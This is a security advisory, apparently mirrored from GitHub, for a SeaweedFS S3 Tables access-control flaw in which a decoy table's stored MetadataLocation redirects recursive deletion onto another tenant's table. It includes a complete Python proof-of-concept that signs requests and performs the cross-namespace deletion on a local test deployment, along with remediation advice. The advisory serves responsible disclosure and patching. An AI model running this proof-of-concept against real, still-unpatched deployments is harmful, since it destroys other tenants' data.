GHSA-RMCC-687M-XW78
S3 Tables MetadataLocation can recursively delete another tenant table
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-RMCC-687M-XW78 divulgada · CVSS 7.2 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
S3 Tables MetadataLocation can recursively delete another tenant's table
Summary
S3 Tables accepts and stores a caller-selected `MetadataLocation` when creating an authorized table. `DeleteTable` later authorizes only that catalog table, converts the stored location into a same-bucket filer path, and recursively deletes it. A principal restricted to its own decoy table can point that decoy at a victim table in a sibling namespace and make SeaweedFS delete the victim path even though direct victim deletion is denied.
Impact and affected scope
- Type: Broken access control / confused deputy
- Affected component: SeaweedFS S3 Tables create, register, and delete paths
- Preconditions: A low-privilege S3 Tables principal allowed to create and delete one table in a shared table bucket
- Verified revision: `8dcdb70594ae9e9c2ac07aa6d497f38d8c580448` on 27 August 2026
- Affected release range: `<= 4.44`, as entered by the maintainer; patched version not yet specified
The bounded proof deletes a minimal victim table. `DeleteTable` reaches the same recursive data-deletion sink for populated tables, but the report does not claim a specific production dataset size.
Technical details
Create and register paths store `MetadataLocation` without binding it to the authorized namespace/table path. Delete authorization is performed against the requested decoy table, after which the separately stored location becomes the recursive deletion target. Existing same-bucket and ancestor checks do not ensure that the target belongs to the resource that passed authorization.
Relevant code:
- `weed/s3api/s3tables/handler_table.go:105,323,420,462` — accepts and stores table metadata locations.
- `weed/s3api/s3tables/handler_table.go:1053,1163,1190` — authorizes the named table and initiates deletion.
- `weed/s3api/s3tables/filer_ops.go:299` and `weed/s3api/s3tables/utils.go:113` — resolve and recursively delete the stored target.
Reproduction
Run this only on an authorized disposable host with Go 1.26 and Python 3. Build and start the same SeaweedFS mini deployment described below:
git clone https://github.com/seaweedfs/seaweedfs.git
cd seaweedfs
git checkout 8dcdb70594ae9e9c2ac07aa6d497f38d8c580448
go build -trimpath -o weed-poc ./weed
mkdir -p poc-data poc-tmpSave this as `s3-poc.json`:
{
"identities": [
{
"name": "victim-admin",
"credentials": [
{"accessKey": "victim-admin", "secretKey": "victim-secret"}
],
"actions": ["Admin"]
},
{
"name": "tagger",
"credentials": [
{"accessKey": "tagger", "secretKey": "tagger-secret"}
],
"policyNames": ["UnrelatedTagOnly"]
}
],
"policies": [
{
"name": "UnrelatedTagOnly",
"content": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"s3:PutBucketTagging\"],\"Resource\":[\"arn:aws:s3:::unrelated-bucket\"]}]}"
}
]
}Start the service:
TMPDIR="$PWD/poc-tmp" WEED_TELEMETRY=false ./weed-poc mini \
-dir="$PWD/poc-data" \
-ip=127.0.0.1 -ip.bind=127.0.0.1 \
-master.port=19333 -volume.port=19340 -filer.port=18888 \
-s3.port=18333 -s3.port.iceberg=0 -s3.port.lance=0 \
-s3.config="$PWD/s3-poc.json" -metricsPort=19326 \
-webdav=false -admin.ui=false -master.telemetry=false \
-master.volumeSizeLimitMB=64 -volume.preStopSeconds=0 \
>seaweedfs-poc.log 2>&1 &Save this as `verify_metadata_location.py`:
#!/usr/bin/env python3
from __future__ import annotations
import datetime
import hashlib
import hmac
import http.client
import json
import sys
import time
import urllib.parse
HOST = "127.0.0.1"
PORT = 18333
REGION = "us-east-1"
def _sign(key: bytes, message: str) -> bytes:
return hmac.new(key, message.encode(), hashlib.sha256).digest()
def request(method: str, path: str, query: list[tuple[str, str]] | None = None,
body: bytes = b"", access: str = "victim-admin",
secret: str = "victim-secret", service: str = "s3tables") -> tuple[int, bytes]:
query = query or []
canonical_query = "&".join(
f"{urllib.parse.quote(k, safe='-_.~')}={urllib.parse.quote(v, safe='-_.~')}"
for k, v in sorted(query)
)
target_query = urllib.parse.urlencode(query)
target = path + (("?" + target_query) if target_query else "")
now = datetime.datetime.now(datetime.timezone.utc)
amz_date = now.strftime("%Y%m%dT%H%M%SZ")
day = now.strftime("%Y%m%d")
payload_hash = hashlib.sha256(body).hexdigest()
canonical_uri = urllib.parse.quote(path, safe="/-_.~")
canonical_headers = (
f"host:{HOST}:{PORT}\n"
f"x-amz-content-sha256:{payload_hash}\n"
f"x-amz-date:{amz_date}\n"
)
signed_headers = "host;x-amz-content-sha256;x-amz-date"
canonical_request = "\n".join([
method, canonical_uri, canonical_query, canonical_headers,
signed_headers, payload_hash,
])
scope = f"{day}/{REGION}/{service}/aws4_request"
string_to_sign = "\n".join([
"AWS4-HMAC-SHA256", amz_date, scope,
hashlib.sha256(canonical_request.encode()).hexdigest(),
])
key_date = _sign(("AWS4" + secret).encode(), day)
key_region = _sign(key_date, REGION)
key_service = _sign(key_region, service)
key_signing = _sign(key_service, "aws4_request")
signature = hmac.new(
key_signing, string_to_sign.encode(), hashlib.sha256
).hexdigest()
headers = {
"Host": f"{HOST}:{PORT}",
"Content-Type": "application/x-amz-json-1.1",
"x-amz-content-sha256": payload_hash,
"x-amz-date": amz_date,
"Authorization": (
f"AWS4-HMAC-SHA256 Credential={access}/{scope}, "
f"SignedHeaders={signed_headers}, Signature={signature}"
),
}
conn = http.client.HTTPConnection(HOST, PORT, timeout=15)
conn.request(method, target, body=body, headers=headers)
response = conn.getresponse()
data = response.read()
status = response.status
conn.close()
return status, data
def json_request(method: str, path: str, payload: dict | None = None,
query: list[tuple[str, str]] | None = None,
attacker: bool = False) -> tuple[int, bytes]:
body = json.dumps(payload or {}, separators=(",", ":")).encode() \
if payload is not None else b""
credentials = ("tagger", "tagger-secret") if attacker \
else ("victim-admin", "victim-secret")
return request(method, path, query, body, credentials[0], credentials[1])
def require(label: str, actual: int, expected: int, body: bytes) -> dict:
print(f"{label}: HTTP {actual}")
if actual != expected:
print(body.decode(errors="replace"), file=sys.stderr)
raise SystemExit(f"expected HTTP {expected} for {label}, got {actual}")
if body:
try:
return json.loads(body)
except json.JSONDecodeError:
pass
return {}
def main() -> None:
for _ in range(60):
try:
if request("GET", "/buckets")[0]:
break
except OSError:
time.sleep(1)
else:
raise SystemExit("S3 endpoint did not become ready")
status, body = json_request(
"PUT", "/buckets", {"name": "shared-tables", "format": "ICEBERG"}
)
created = require("owner creates shared table bucket", status, 200, body)
arn = created["arn"]
arn_path = urllib.parse.quote(arn, safe=":/")
for namespace in ("victimns", "attackerns"):
status, body = json_request(
"PUT", f"/namespaces/{arn_path}", {"namespace": [namespace]}
)
require(f"owner creates {namespace}", status, 200, body)
victim_location = "s3://shared-tables/victimns/victim/metadata/v1.metadata.json"
status, body = json_request("PUT", f"/tables/{arn_path}/victimns", {
"name": "victim", "format": "ICEBERG", "metadataLocation": victim_location,
})
require("owner creates victim table", status, 200, body)
get_victim_query = [
("tableBucketARN", arn), ("namespace", "victimns"), ("name", "victim")
]
status, body = json_request("GET", "/get-table", query=get_victim_query)
require("owner sees victim table before request", status, 200, body)
policy_document = {
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "tagger",
"Action": ["s3tables:CreateTable", "s3tables:DeleteTable"],
"Resource": arn,
"Condition": {"StringEquals": {
"s3tables:namespace": "attackerns",
"s3tables:tableName": "decoy",
}},
}],
}
status, body = json_request("PUT", f"/buckets/{arn_path}/policy", {
"resourcePolicy": json.dumps(policy_document, separators=(",", ":")),
})
require("owner grants only decoy table lifecycle", status, 200, body)
status, body = json_request(
"DELETE", f"/tables/{arn_path}/victimns/victim", attacker=True
)
require("direct victim deletion baseline", status, 403, body)
status, body = json_request("PUT", f"/tables/{arn_path}/attackerns", {
"name": "decoy", "format": "ICEBERG", "metadataLocation": victim_location,
}, attacker=True)
require("create authorized decoy with victim metadata location", status, 200, body)
status, body = json_request(
"DELETE", f"/tables/{arn_path}/attackerns/decoy", attacker=True
)
require("delete authorized decoy", status, 200, body)
status, body = json_request("GET", "/get-table", query=get_victim_query)
require("owner lookup of victim after decoy deletion", status, 404, body)
print("POC_SUCCESS: decoy deletion removed the unauthorized victim table")
if __name__ == "__main__":
main()Run:
python3 verify_metadata_location.pyThe verified run observed HTTP 200 for the owner's victim lookup, HTTP 403 for the attacker's direct victim deletion, HTTP 200 for authorized decoy creation and deletion, and then HTTP 404 for the owner's victim lookup.
Expected: deleting an authorized table must remove only storage owned by that table; a stored location must not redirect recursive deletion across a namespace or ownership boundary.
Observed: authorization covered only the decoy, while recursive deletion followed its stored location into the victim table.
Suggested remediation
Bind each stored metadata location to the authorized table's canonical namespace/name path at creation and registration time. On deletion, resolve and verify that the target is owned by the table that passed authorization before any recursive operation.
Severity
CVSS v4.0: 7.2 (High) — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N`
This assessment is preliminary and pending maintainer confirmation.
Disclosure context and attribution
AI tools helped surface this potential issue. We independently reviewed the evidence and reproduced it against the pinned revision before submitting it privately through SeaweedFS's required channel.
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530)
https://github.com/Zyy0530 - Liyi Zhou (@lzhou1110)
https://github.com/lzhou1110 - Strick Sheng (@Str1ckl4nd)
https://github.com/Str1ckl4nd - Maurice Ng (@mauriceng98)
https://github.com/mauriceng98 - Chenchen Yu (@7thParkk)
https://github.com/7thParkk
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-rmcc-687m-xw78Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
